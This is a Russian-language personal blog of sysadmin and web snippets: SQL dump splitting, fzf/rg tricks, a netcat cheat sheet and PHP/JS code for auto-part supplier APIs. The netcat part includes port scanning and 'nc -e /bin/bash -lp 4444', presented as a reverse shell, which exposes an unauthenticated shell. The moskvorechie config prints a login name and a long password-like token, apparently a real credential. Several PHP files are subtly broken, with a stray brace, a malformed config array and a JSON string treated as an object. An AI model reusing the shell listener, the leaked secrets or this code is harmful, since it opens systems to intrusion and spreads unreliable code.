понедельник, 31 марта 2025 г.

Split / разбить dump


//Разбить дамп по 50000 строк

for i in `ls *.sql`; do split -d -l 50000 -a 4 --additional-suffix=.sql $i "$(basename "$i" .sql)"_; done


//Разбить и удалить оригинал

for i in `ls *.sql`; do split -d -l 50000 -a 4 --additional-suffix=.sql $i "$(basename "$i" .sql)"_; rm $i; done


// Объеденить дамп и залить в базу

cat dbdump_* | mysql -u root -p database_name

Один пример из жизни использования SED



В текущей папке, в 7 строке, файлов *.sql добавляем название таблицв по названию файла.

for i in `ls *.sql`; do sed -i '7s/EXISTS;/EXISTS '"$(basename "$i" .sql)"';/' $i; done


Ну или можно все с первого раза сделать все правильно ;)

for i in `ls *.sql`; do sed -i '7i DROP TABLE IF EXISTS '"$(basename "$i" .sql)"';' $i; done

суббота, 29 марта 2025 г.

fzf rg



Ctrl+R - поиск в обратном порядке введённых команд.

Alt+C - тюнингованный cd с нечётким поиском и позволяет очень быстро перемещаться.


vi **<TAB>


vi $(fzf) - нечёткий поиск в редакторе


(Кстати, в данном случае в vi нет ничего уникального. Можно вызывать команду с emacs, nano, code и любым другим редактором!)


vi $(find . '/' | fzf): для поиска произвольных файлов конфигурации


mv $(fzf) $(fzf)


rg . | fzf - нечёткий поиск каждой строки в каждом файле


rg . | fzf | cut -d ":" -f 1 - нечёткий поиск каждой строки в каждом файле и возврат местоположения файла


vim $(rg . | fzf | cut -d ":" -f 1) - нечёткий поиск каждой строки в каждом файле и открытие этого файла

вторник, 25 марта 2025 г.

Чат для хакеров



Проверка наличия открытого TCP-порта 12345

nc -vn 192.168.1.100 12345



Сканирование TCP-портов с помощью netcat:

nc -vnz 192.168.1.100 20-24


При таком сканировании не будет соединение с портом, а только вывод успешного соединения:



Сканирование UDP-портов.

Для сканирования UDP портов с помощью nmap необходимы root привилегии. Если их нет — в этом случае нам тоже может помочь утилита netcat:

nc -vnzu 192.168.1.100 5550-5560



Отправка UDP-пакета

echo -n "foo" | nc -u -w1 192.168.1.100 161


Это может быть полезно при взаимодействии с сетевыми устройствами.



Прием данных на UDP-порту и вывод принятых данных

nc -u localhost 7777


После первого сообщения вывод будет остановлен. Если необходимо принять несколько сообщений, то необходимо использовать while true:


while true; do nc -u localhost 7777; done



Передача файлов. С помощью netcat можно как получать файлы, так и передавать на удаленный хост:


nc 192.168.1.100 5555 < 1.txt


nc -lvp 5555 > /tmp/1.txt



Netcact в роли простейшего веб-сервера.


Netcat может выполнять роль простейшего веб-сервера для отображения html странички.


while true; do nc -lp 8888 < index.html; done


C помощью браузера по адресу: http://хост netcat:8888/index.html. Для использования стандартного порта веб-сервера под номером 80 вам придется запустить nc c root привелегиями:


while true; do sudo nc -lp 80 < test.html; done



Чат между узлами


На первом узле (192.168.1.100):

nc -lp 9000


На втором узле:

nc 192.168.1.100 9000


После выполнения команд все символы, введенные в окно терминала на любом из узлов появятся в окне терминала другого узла.



Реверс-шелл

С помощью netcat можно организовать удобный реверс-шелл:

nc -e /bin/bash -lp 4444


Теперь можно соединиться с удаленного узла:

nc 192.168.1.100 4444


понедельник, 24 марта 2025 г.

Удалит из темы писем надпись *** SPAM ***



В текущей папке

grep -Ril "\*\*\* SPAM \*\*\*" | xargs sed -i "s/\*\*\* SPAM \*\*\*/ /"

Копирование писем отфильтрованных по заголовку Maildir

cd Maildir


grep -Ril "^From.*admin@mail\.ru.*$" | xargs cp -Rp -t ./Sent/cur

или

grep -Ril "^From.*admin@mail\.ru.*$" | xargs mv -t ./.Sent/cur



cp:

-p - сохранять владельца, временные метки и флаги доступа при копировании

-t, --target-directory - считать файл-назначения директорией и копировать файл-источник или директорию-источник в эту директорию с оригинальным именем;

-r, --recursive - копировать папку Linux рекурсивно;


grep:

-i - Игнорирует регистр символов при сравнениях.

-l - Выдает только имена файлов, содержащих сопоставившиеся строки, по одному в строке. Если образец найден в нескольких строках файла, имя файла не повторяется.

-R (или -r) - Ищем текстовое вхождение во всех файлах внутри директории и ее поддиректорий.

пятница, 21 марта 2025 г.

Получаем бренд по парт номеру детали из levam



Получаем бренд по парт номеру детали

<?php

if ((include $_SERVER["DOCUMENT_ROOT"].'/services/include.php') != TRUE) {

    exit;

}

if(isset($_POST['partnum'])) {

    $s = preg_replace('/[^a-zа-яё\d]/ui', '',$_POST['partnum'] );

    $json = BrandsGet($s);

    $obj = json_decode($json);

error_log ("levam.php blyat` ".var_export($obj, true), 0);

    $part = $obj->parts;

    

    header("Content-type: application/json; charset=UTF-8");

    header("Cache-Control: must-revalidate");

    header("Pragma: no-cache");

    header("Expires: -1");

    print json_encode($part);

}


////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

/services/include.php

<?php

class ConfigClass {

    public $levam;

    public $db;

    public $suppliers;

    private function array2obj($data) {

        $object = new stdClass();

        foreach ($data as $key => $val) {

            if (is_array($val)){

                $val = $this->array2obj($val);

            }

            $object->$key = $val;

        }

        return $object;

    }

    public function __construct(Array $data ) {

        foreach ($data as $key => $val){

            if (is_array($val)){

                $this->{$key} = $this->array2obj($val);

            } else 

                $this->{$key} = $val;

        }

    }

}


if(file_exists($_SERVER["DOCUMENT_ROOT"].'/services/.config.php')){

    $config = new ConfigClass(include ($_SERVER["DOCUMENT_ROOT"].'/services/.config.php'));

}


function get_content($URL){

    $ch = curl_init();

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

    curl_setopt($ch, CURLOPT_URL, $URL);

    $data = curl_exec($ch);

    curl_close($ch);

    return $data;

}


function BrandsGet($part_number){

    global $config;

    return get_content($config->levam->urlAPI.$config->levam->VersionAPI.

            'BrandsGet?api_key='.$config->levam->api_key.

            '&part_number='.urlencode($part_number).

            '&lang='.$config->levam->lang);

}


////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////


/services/.config.php

<?php

return array(

    'levam' =>

    array(

        'api_key' => "001t1bly'bly'bly'bly'bly'bly'bly'bly'bly'bly'",

        'VersionAPI' => 'v1/',

        'urlAPI' => 'https://am-api.levam.net/',

        'lang' => 'ru',

    ),

    'db' =>

    array(

        'host' => 'localhost',

        'database' => 'bitrix',

        'login' => 'root',

        'password' => 'password',

    ),

);

пятница, 7 марта 2025 г.

Получаем цены на автозапчасти через REST API moskvorechie.ru



HTML

<div class="replacement " value="<?=$value->search_number.";".$value->brand_name?>">

                <div  class="daydeliverysupplier">

                            Доставка:

                </div>

                <div class="kolrest">

                            В наличии

                </div>

                <div class="price">

                              Цена

                </div>

</div>

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

JS

 $(document).ready(function(){

    var Arr='';

    $(".replacement").each(

        function( index, element){

            $(this).on( "getprice"+index, function(event, data) { //добавить событие к каждому .replacement

                if ( typeof(data) !== "undefined" && data !== null && Object.keys(data).length !== 0 ) {

                    if('price' in data){

                        $( this ).find(".price").text( Intl.NumberFormat("ru-RU", { style: "currency", currency: "RUB" }).format(Number(data['price']),) );

                        $( this ).find(".spinner-border").hide();

                        $( this ).find(".kolrest").text("На складе: " + data['kolrest'] + "шт." );

                        $( this ).find(".daydeliverysupplier").text("Доставка: " + (Number(data['daydeliverysupplier']) + 2) + "д." );

                    } else $( this ).hide();

                }else $( this ).hide();

            });

            xData = $.ajax({

                type: 'POST',

                cache: false,

                url: '/services/suppliers/moskvorechie/?'+$( this ).attr("value"),

                data: {partnumbrand: $( this ).attr("value")},

                success: function (data) {

console.log("mos data: ", data);

                    $('.replacement').trigger('getprice'+index, data);

                }

            });

        }

    );

});


////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

/services/suppliers/moskvorechie/index.php

<?php

if ((include $_SERVER["DOCUMENT_ROOT"].'/services/include.php') != TRUE) { exit;}


function price_by_nr_firm($part_number, $brand_name){

    global $config;

    $url = $config->suppliers->moskvorechie->urlAPI

        . "l=".$config->suppliers->moskvorechie->login_name

        . '&p='.$config->suppliers->moskvorechie->login_password

        . '&act=price_by_nr_firm&v=1'

        . '&nr='.urlencode($part_number)

        . '&f='.urlencode($brand_name)

        . '&cs=utf8';

    $json = get_content($url);

    if (false === $json) {

        echo "error";

        return false;

    }

    $part = json_decode($json);

    return $json;

}


if(isset($_POST['partnumbrand'])) {

    header("Content-type: application/json; charset=UTF-8");

    header("Cache-Control: must-revalidate");

    header("Pragma: no-cache");

    header("Expires: -1");


    $array=array();

    $arr = explode(';', $_POST['partnumbrand']);

    if(count($arr)<2){

        print json_encode($array);

        exit();

    }

    error_log ("moskvorechie arr:  ".var_export($arr, true), 0);

    $c = price_by_nr_firm($arr[0], $arr[1]);

    error_log ("moskvorechie c:  ".var_export($c, true), 0);


    if($c->idtovoemshort!=null){


        if(strcasecmp($c->idtovoemshort, $arr[0]) == 0 and strcasecmp($c->nbrand, $arr[1]) == 0){

            $array[]=array(

                'value'=>$_POST['partnumbrand'],

                'kolrest'=>(string)$c->kolrest,

                'price'=>(string)$c->price,

                'daydeliverysupplier'=>(string)$c->daydeliverysupplier,

                'minpart'=>(string)$c->minpart);

        }

    }else $array[]=array('value'=>$_POST['partnumbrand']);

    print json_encode($array);

}

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

/services/include.php

<?php


class ConfigClass {

    public $levam;

    public $db;

    public $suppliers;


    private function array2obj($data) {

        $object = new stdClass();

        foreach ($data as $key => $val) {

            if (is_array($val)){

                $val = $this->array2obj($val);

            }

            $object->$key = $val;

        }

        return $object;

    }

    public function __construct(Array $data ) {

        foreach ($data as $key => $val){

            if (is_array($val)){

                $this->{$key} = $this->array2obj($val);

            } else 

                $this->{$key} = $val;

        }

    }

}

if(file_exists($_SERVER["DOCUMENT_ROOT"].'/services/.config.php')){

    $config = new ConfigClass(include ($_SERVER["DOCUMENT_ROOT"].'/services/.config.php'));

}

function get_content($URL){

    $ch = curl_init();

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

    curl_setopt($ch, CURLOPT_URL, $URL);

    $data = curl_exec($ch);

    curl_close($ch);

    return $data;

}

}

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

/services/.config.php

<?php


return array(

     'db' =>

    array(

        'host' => 'localhost',

        'database' => 'bitrix',

        'login' => 'root',

        'password' => 'password',

    ),

    'suppliers' =>

        'moskvorechie' =>

        array(

            'urlAPI' => 'http://portal.moskvorechie.ru/portal.api?',

            'login_name' => 'lunevstes',

            'login_password' => 'hrRqxsfPYr5HARELrEzhkw9ecYwyTa9RPExCGIdeSS9GTSDOeTnx5q4CHzhtAED8',

            'margin'=>'',

            'deliverydays'=>'',

        ),

    ),

);

Split / разбить dump

//Разбить дамп по 50000 строк for i in `ls *.sql`; do split -d -l 50000 -a 4 --additional-suffix=.sql $i "$(basename "$i" .sq...